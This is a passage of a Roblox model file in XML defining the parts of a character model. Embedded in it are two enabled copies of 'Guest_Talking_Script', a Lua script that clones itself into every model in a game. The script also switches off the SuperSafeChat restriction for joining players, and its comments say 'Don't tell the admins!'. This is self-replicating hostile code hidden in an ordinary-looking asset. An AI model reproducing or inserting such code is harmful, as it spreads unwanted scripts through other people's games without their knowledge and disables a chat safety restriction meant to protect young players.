						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">0</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0</float>
						<Vector3 name="Velocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<bool name="archivable">true</bool>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>1</X>
							<Y>0.400000006</Y>
							<Z>1</Z>
						</Vector3>
					</Properties>
				</Item>
				<Item class="Script" referent="RBX296">
					<Properties>
						<bool name="Disabled">false</bool>
						<Content name="LinkedSource"><null></null></Content>
						<string name="Name">Guest_Talking_Script</string>
						<string name="Source">--Farvei&apos;s totally awesome script that makes Guests talk
--Please give credit
--Don&apos;t tell the admins!
--Unnote the vaccine if you&apos;d like to remove all copies of this script in your place
if (script.Parent == workspace) then
	function checkForAndSwitch(player)
		if (player.SuperSafeChat == true) then
			player.SuperSafeChat = false;
			wait(5);
			local m = Instance.new(&quot;Message&quot;);
			m.Text = &quot;Press the / key to start typing.&quot;;
			m.Parent = player;
			wait(5);
			m.Text = &quot;Then press Enter to send your message.&quot;;
			wait(5);
			m:Remove();
			m = nil;
		end
		player = nil;
		collectgarbage(&quot;collect&quot;);
	end

	function onChildAddedToPlayers(obj)
		if (obj.className == &quot;Player&quot;) then
			checkForAndSwitch(obj);
			local m = Instance.new(&quot;Message&quot;);
			m.Text = &quot;This Server Supports Talking Guests&quot;;
			m.Parent = obj;
			wait(5);
			m:Remove();
			m = nil;
		end
		obj = nil;
		collectgarbage(&quot;collect&quot;);
	end

	function onChildAddedToWorkspace(obj)
		if (obj.className == &quot;Model&quot;) then
			if (game.Players:playerFromCharacter(obj) ~= nil) then
				checkForAndSwitch(game.Players:playerFromCharacter(obj));
			end
		end
		obj = nil;
		collectgarbage(&quot;collect&quot;);
	end

	function findLowestLevel(obj)
		local c = obj:GetChildren();
		local lowestLevel = true;

		for i, v in pairs(c) do
			if (v.className == &quot;Model&quot; or v.className == &quot;Tool&quot; or v.className == &quot;HopperBin&quot; or v == workspace or v == game.Lighting or v == game.StarterPack) then
				lowestLevel = false;
				wait();
				findLowestLevel(v);
			end
		end

		if (obj ~= workspace and lowestLevel == true and (obj:FindFirstChild(script.Name) == nil)) then
			if (obj ~= game.Lighting and obj ~= game.StarterPack) then
				local s = script:Clone();
				s.Parent = obj;
			end
		end
	end

	findLowestLevel(game);

	game.Players.ChildAdded:connect(onChildAddedToPlayers);
	game.Workspace.ChildAdded:connect(onChildAddedToWorkspace);
else
	local findScript = workspace:FindFirstChild(script.Name);

	if (findScript == nil) then
		local s = script:Clone();
		s.Parent = workspace;
	end
end

--[[function findAllCopies(obj)
	local c = obj:GetChildren();

	for i, v in pairs(c) do
		if (v.Name == script.Name and v.className == &quot;Script&quot; and v ~= script) then
			v.Parent = nil;
		elseif (v.className == &quot;Model&quot; or v.className == &quot;Tool&quot; or v.className == &quot;HopperBin&quot; or v == workspace or v == game.Lighting or v == game.StarterPack) then
			findAllCopies(v);
		end
	end
end

findAllCopies(game);

script.Parent = nil;]]</string>
						<bool name="archivable">true</bool>
					</Properties>
				</Item>
			</Item>
			<Item class="Model" referent="RBX297">
				<Properties>
					<CoordinateFrame name="ModelInPrimary">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
						<R00>1</R00>
						<R01>0</R01>
						<R02>0</R02>
						<R10>0</R10>
						<R11>1</R11>
						<R12>0</R12>
						<R20>0</R20>
						<R21>0</R21>
						<R22>1</R22>
					</CoordinateFrame>
					<string name="Name">Leg2</string>
					<Ref name="PrimaryPart">null</Ref>
					<bool name="archivable">true</bool>
				</Properties>
				<Item class="Part" referent="RBX298">
					<Properties>
						<bool name="Anchored">true</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">0</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">1011</int>
						<CoordinateFrame name="CFrame">
							<X>50.5</X>
							<Y>2.00015831</Y>
							<Z>16.4996338</Z>
							<R00>1</R00>
							<R01>1.44341631e-018</R01>
							<R02>1.44143183e-016</R02>
							<R10>-1.44342428e-018</R10>
							<R11>1</R11>
							<R12>0</R12>
							<R20>-1.44143183e-016</R20>
							<R21>0</R21>
							<R22>1</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<bool name="DraggingV1">false</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">0</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Middle</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>4.38300706e-017</X>
							<Y>-5.7588823e-018</Y>
							<Z>8.61851061e-017</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">0</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">1</float>
						<Vector3 name="Velocity">
							<X>-4.74099991e-017</X>
							<Y>-0.0150171854</Y>
							<Z>2.36701206e-017</Z>
						</Vector3>
						<bool name="archivable">true</bool>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>1</X>
							<Y>2</Y>
							<Z>1</Z>
						</Vector3>
					</Properties>
					<Item class="BlockMesh" referent="RBX299">
						<Properties>
							<float name="Bevel">0</float>
							<float name="Bevel Roundness">0</float>
							<float name="Bulge">0</float>
							<token name="LODX">2</token>
							<token name="LODY">2</token>
							<string name="Name">Mesh</string>
							<Vector3 name="Offset">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<Vector3 name="Scale">
								<X>1</X>
								<Y>1</Y>
								<Z>1</Z>
							</Vector3>
							<Vector3 name="VertexColor">
								<X>1</X>
								<Y>1</Y>
								<Z>1</Z>
							</Vector3>
							<bool name="archivable">true</bool>
						</Properties>
						<Item class="StockSound" referent="RBX300">
							<Properties>
								<bool name="Looped">false</bool>
								<string name="Name">3qd51bp7c</string>
								<float name="Pitch">1</float>
								<int name="PlayCount">-1</int>
								<bool name="PlayOnRemove">false</bool>
								<Content name="SoundId"><null></null></Content>
								<float name="Volume">0.5</float>
								<bool name="archivable">true</bool>
							</Properties>
						</Item>
					</Item>
					<Item class="StockSound" referent="RBX301">
						<Properties>
							<bool name="Looped">false</bool>
							<string name="Name">amne30</string>
							<float name="Pitch">1</float>
							<int name="PlayCount">-1</int>
							<bool name="PlayOnRemove">false</bool>
							<Content name="SoundId"><null></null></Content>
							<float name="Volume">0.5</float>
							<bool name="archivable">true</bool>
						</Properties>
					</Item>
				</Item>
				<Item class="StockSound" referent="RBX302">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">evbgxllxo</string>
						<float name="Pitch">1</float>
						<int name="PlayCount">-1</int>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><null></null></Content>
						<float name="Volume">0.5</float>
						<bool name="archivable">true</bool>
					</Properties>
				</Item>
				<Item class="Part" referent="RBX303">
					<Properties>
						<bool name="Anchored">true</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">0</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">1003</int>
						<CoordinateFrame name="CFrame">
							<X>50.5</X>
							<Y>2.40005136</Y>
							<Z>16.4909668</Z>
							<R00>0.980785251</R00>
							<R01>-0.195090324</R01>
							<R02>-9.11920469e-018</R02>
							<R10>0.195090324</R10>
							<R11>0.980785251</R11>
							<R12>-3.42285418e-008</R12>
							<R20>6.67765709e-009</R20>
							<R21>3.35708492e-008</R21>
							<R22>1</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<bool name="DraggingV1">false</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">2</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Right leg</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">0</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0</float>
						<Vector3 name="Velocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<bool name="archivable">true</bool>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>1</X>
							<Y>0.800000012</Y>
							<Z>1</Z>
						</Vector3>
					</Properties>
					<Item class="SpecialMesh" referent="RBX304">
						<Properties>
							<token name="LODX">2</token>
							<token name="LODY">2</token>
							<Content name="MeshId"><null></null></Content>
							<token name="MeshType">0</token>
							<string name="Name">Mesh</string>
							<Vector3 name="Offset">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<Vector3 name="Scale">
								<X>0.600000024</X>
								<Y>1.5</Y>
								<Z>1</Z>
							</Vector3>
							<Content name="TextureId"><null></null></Content>
							<Vector3 name="VertexColor">
								<X>1</X>
								<Y>1</Y>
								<Z>1</Z>
							</Vector3>
							<bool name="archivable">true</bool>
						</Properties>
					</Item>
				</Item>
				<Item class="Part" referent="RBX305">
					<Properties>
						<bool name="Anchored">true</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">0</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">24</int>
						<CoordinateFrame name="CFrame">
							<X>50.5</X>
							<Y>1.40012074</Y>
							<Z>16.4909668</Z>
							<R00>1</R00>
							<R01>-1.37615361e-018</R01>
							<R02>-9.11920469e-018</R02>
							<R10>1.37615143e-018</R10>
							<R11>1</R11>
							<R12>-3.42285418e-008</R12>
							<R20>9.11920469e-018</R20>
							<R21>3.42285418e-008</R21>
							<R22>1</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<bool name="DraggingV1">false</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">2</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Ring</string>
						<float name="Reflectance">0.100000001</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">0</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0</float>
						<Vector3 name="Velocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<bool name="archivable">true</bool>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>1</X>
							<Y>0.400000006</Y>
							<Z>1</Z>
						</Vector3>
					</Properties>
					<Item class="CylinderMesh" referent="RBX306">
						<Properties>
							<float name="Bevel">0</float>
							<float name="Bevel Roundness">0</float>
							<float name="Bulge">0</float>
							<token name="LODX">2</token>
							<token name="LODY">2</token>
							<string name="Name">Mesh</string>
							<Vector3 name="Offset">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<Vector3 name="Scale">
								<X>1.20000005</X>
								<Y>1</Y>
								<Z>1.20000005</Z>
							</Vector3>
							<Vector3 name="VertexColor">
								<X>1</X>
								<Y>1</Y>
								<Z>1</Z>
							</Vector3>
							<bool name="archivable">true</bool>
						</Properties>
					</Item>
				</Item>
				<Item class="Part" referent="RBX307">
					<Properties>
						<bool name="Anchored">true</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">0</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">26</int>
						<CoordinateFrame name="CFrame">
							<X>50.5</X>
							<Y>1.80016875</Y>
							<Z>16.4909668</Z>
							<R00>1</R00>
							<R01>-1.37615361e-018</R01>
							<R02>-9.11920469e-018</R02>
							<R10>1.37615143e-018</R10>
							<R11>1</R11>
							<R12>-3.42285418e-008</R12>
							<R20>9.11920469e-018</R20>
							<R21>3.42285418e-008</R21>
							<R22>1</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<bool name="DraggingV1">false</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">2</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Sock</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">0</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0</float>
						<Vector3 name="Velocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<bool name="archivable">true</bool>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>1</X>
							<Y>0.400000006</Y>
							<Z>1</Z>
						</Vector3>
					</Properties>
					<Item class="CylinderMesh" referent="RBX308">
						<Properties>
							<float name="Bevel">0</float>
							<float name="Bevel Roundness">0</float>
							<float name="Bulge">0</float>
							<token name="LODX">2</token>
							<token name="LODY">2</token>
							<string name="Name">Mesh</string>
							<Vector3 name="Offset">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<Vector3 name="Scale">
								<X>1</X>
								<Y>1</Y>
								<Z>1</Z>
							</Vector3>
							<Vector3 name="VertexColor">
								<X>1</X>
								<Y>1</Y>
								<Z>1</Z>
							</Vector3>
							<bool name="archivable">true</bool>
						</Properties>
					</Item>
					<Item class="Decal" referent="RBX309">
						<Properties>
							<token name="Face">5</token>
							<string name="Name">Decal</string>
							<float name="Shiny">20</float>
							<float name="Specular">0</float>
							<Content name="Texture"><url>http://www.roblox.com/asset/?id=6368030</url></Content>
							<bool name="archivable">true</bool>
						</Properties>
					</Item>
				</Item>
				<Item class="Part" referent="RBX310">
					<Properties>
						<bool name="Anchored">true</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">0</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">1003</int>
						<CoordinateFrame name="CFrame">
							<X>50.5</X>
							<Y>1.00009131</Y>
							<Z>16.4909668</Z>
							<R00>1</R00>
							<R01>-1.37615361e-018</R01>
							<R02>-9.11920469e-018</R02>
							<R10>1.37615143e-018</R10>
							<R11>1</R11>
							<R12>-3.42285418e-008</R12>
							<R20>9.11920469e-018</R20>
							<R21>3.42285418e-008</R21>
							<R22>1</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<bool name="DraggingV1">false</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">2</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Part</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">0</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0</float>
						<Vector3 name="Velocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<bool name="archivable">true</bool>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>1</X>
							<Y>0.400000006</Y>
							<Z>1</Z>
						</Vector3>
					</Properties>
				</Item>
				<Item class="Part" referent="RBX311">
					<Properties>
						<bool name="Anchored">true</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">0</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">1001</int>
						<CoordinateFrame name="CFrame">
							<X>50.5</X>
							<Y>1.00009131</Y>
							<Z>15.4909668</Z>
							<R00>1</R00>
							<R01>-1.37615361e-018</R01>
							<R02>-9.11920469e-018</R02>
							<R10>1.37615143e-018</R10>
							<R11>1</R11>
							<R12>-3.42285418e-008</R12>
							<R20>9.11920469e-018</R20>
							<R21>3.42285418e-008</R21>
							<R22>1</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<bool name="DraggingV1">false</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">2</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Part</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">0</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0</float>
						<Vector3 name="Velocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<bool name="archivable">true</bool>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>1</X>
							<Y>0.400000006</Y>
							<Z>1</Z>
						</Vector3>
					</Properties>
				</Item>
				<Item class="Part" referent="RBX312">
					<Properties>
						<bool name="Anchored">true</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">0</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">1004</int>
						<CoordinateFrame name="CFrame">
							<X>50.5</X>
							<Y>0.600093782</Y>
							<Z>15.9909668</Z>
							<R00>1</R00>
							<R01>-1.37615361e-018</R01>
							<R02>-9.11920469e-018</R02>
							<R10>1.37615143e-018</R10>
							<R11>1</R11>
							<R12>-3.42285418e-008</R12>
							<R20>9.11920469e-018</R20>
							<R21>3.42285418e-008</R21>
							<R22>1</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<bool name="DraggingV1">false</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">2</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Part</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">0</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0</float>
						<Vector3 name="Velocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<bool name="archivable">true</bool>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>1</X>
							<Y>0.400000006</Y>
							<Z>2</Z>
						</Vector3>
					</Properties>
				</Item>
				<Item class="Part" referent="RBX313">
					<Properties>
						<bool name="Anchored">true</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">0</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">1004</int>
						<CoordinateFrame name="CFrame">
							<X>50.5</X>
							<Y>0.900095999</Y>
							<Z>14.7909546</Z>
							<R00>1</R00>
							<R01>9.11920469e-018</R01>
							<R02>-1.37615361e-018</R02>
							<R10>1.37615143e-018</R10>
							<R11>3.42285418e-008</R11>
							<R12>1</R12>
							<R20>9.11920469e-018</R20>
							<R21>-1</R21>
							<R22>3.42285418e-008</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<bool name="DraggingV1">false</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">2</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Part</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">0</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0</float>
						<Vector3 name="Velocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<bool name="archivable">true</bool>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>1</X>
							<Y>0.400000006</Y>
							<Z>1</Z>
						</Vector3>
					</Properties>
				</Item>
				<Item class="Script" referent="RBX314">
					<Properties>
						<bool name="Disabled">false</bool>
						<Content name="LinkedSource"><null></null></Content>
						<string name="Name">Guest_Talking_Script</string>
						<string name="Source">--Farvei&apos;s totally awesome script that makes Guests talk
--Please give credit
--Don&apos;t tell the admins!
--Unnote the vaccine if you&apos;d like to remove all copies of this script in your place
if (script.Parent == workspace) then
	function checkForAndSwitch(player)
		if (player.SuperSafeChat == true) then
			player.SuperSafeChat = false;
			wait(5);
			local m = Instance.new(&quot;Message&quot;);
			m.Text = &quot;Press the / key to start typing.&quot;;
			m.Parent = player;
			wait(5);
			m.Text = &quot;Then press Enter to send your message.&quot;;
			wait(5);
			m:Remove();
			m = nil;
		end
		player = nil;
		collectgarbage(&quot;collect&quot;);
	end

	function onChildAddedToPlayers(obj)
		if (obj.className == &quot;Player&quot;) then
			checkForAndSwitch(obj);
			local m = Instance.new(&quot;Message&quot;);
			m.Text = &quot;This Server Supports Talking Guests&quot;;
			m.Parent = obj;
			wait(5);
			m:Remove();
			m = nil;
		end
		obj = nil;
		collectgarbage(&quot;collect&quot;);
	end

	function onChildAddedToWorkspace(obj)
		if (obj.className == &quot;Model&quot;) then
			if (game.Players:playerFromCharacter(obj) ~= nil) then
				checkForAndSwitch(game.Players:playerFromCharacter(obj));
			end
		end
		obj = nil;
		collectgarbage(&quot;collect&quot;);
	end

	function findLowestLevel(obj)
		local c = obj:GetChildren();
		local lowestLevel = true;

		for i, v in pairs(c) do
			if (v.className == &quot;Model&quot; or v.className == &quot;Tool&quot; or v.className == &quot;HopperBin&quot; or v == workspace or v == game.Lighting or v == game.StarterPack) then
				lowestLevel = false;
				wait();
				findLowestLevel(v);
			end
		end

		if (obj ~= workspace and lowestLevel == true and (obj:FindFirstChild(script.Name) == nil)) then
			if (obj ~= game.Lighting and obj ~= game.StarterPack) then
				local s = script:Clone();
				s.Parent = obj;
			end
		end
	end

	findLowestLevel(game);

	game.Players.ChildAdded:connect(onChildAddedToPlayers);
	game.Workspace.ChildAdded:connect(onChildAddedToWorkspace);
else
	local findScript = workspace:FindFirstChild(script.Name);

	if (findScript == nil) then
		local s = script:Clone();
		s.Parent = workspace;
	end
end

--[[function findAllCopies(obj)
	local c = obj:GetChildren();

	for i, v in pairs(c) do
		if (v.Name == script.Name and v.className == &quot;Script&quot; and v ~= script) then
			v.Parent = nil;
		elseif (v.className == &quot;Model&quot; or v.className == &quot;Tool&quot; or v.className == &quot;HopperBin&quot; or v == workspace or v == game.Lighting or v == game.StarterPack) then
			findAllCopies(v);
		end
	end
end

findAllCopies(game);

script.Parent = nil;]]</string>
						<bool name="archivable">true</bool>
					</Properties>
				</Item>
			</Item>
			<Item class="Part" referent="RBX315">
				<Properties>
					<bool name="Anchored">true</bool>
					<float name="BackParamA">-0.5</float>
					<float name="BackParamB">0.5</float>
					<token name="BackSurface">0</token>
					<token name="BackSurfaceInput">0</token>
					<float name="BottomParamA">-0.5</float>
					<float name="BottomParamB">0.5</float>
					<token name="BottomSurface">0</token>
					<token name="BottomSurfaceInput">0</token>
					<int name="BrickColor">21</int>
					<CoordinateFrame name="CFrame">
						<X>49</X>
						<Y>0.900110304</Y>
						<Z>12.190979</Z>
						<R00>-1</R00>
						<R01>-1.37615298e-018</R01>
						<R02>9.11920469e-018</R02>
						<R10>-1.37615205e-018</R10>
						<R11>1</R11>
						<R12>3.42285418e-008</R12>
						<R20>-9.11920469e-018</R20>
						<R21>3.42285418e-008</R21>
						<R22>-1</R22>
					</CoordinateFrame>
					<bool name="CanCollide">true</bool>
					<bool name="DraggingV1">false</bool>
					<float name="Elasticity">0.5</float>
					<token name="FormFactor">0</token>
					<float name="Friction">0.300000012</float>
					<float name="FrontParamA">-0.5</float>
					<float name="FrontParamB">0.5</float>
					<token name="FrontSurface">0</token>
					<token name="FrontSurfaceInput">0</token>
					<float name="LeftParamA">-0.5</float>
					<float name="LeftParamB">0.5</float>
					<token name="LeftSurface">0</token>
					<token name="LeftSurfaceInput">0</token>
					<bool name="Locked">false</bool>
					<token name="Material">256</token>
					<string name="Name">Head</string>
					<float name="Reflectance">0</float>
					<float name="RightParamA">-0.5</float>
					<float name="RightParamB">0.5</float>
					<token name="RightSurface">0</token>
					<token name="RightSurfaceInput">0</token>
					<Vector3 name="RotVelocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<float name="TopParamA">-0.5</float>
					<float name="TopParamB">0.5</float>
					<token name="TopSurface">3</token>
					<token name="TopSurfaceInput">0</token>
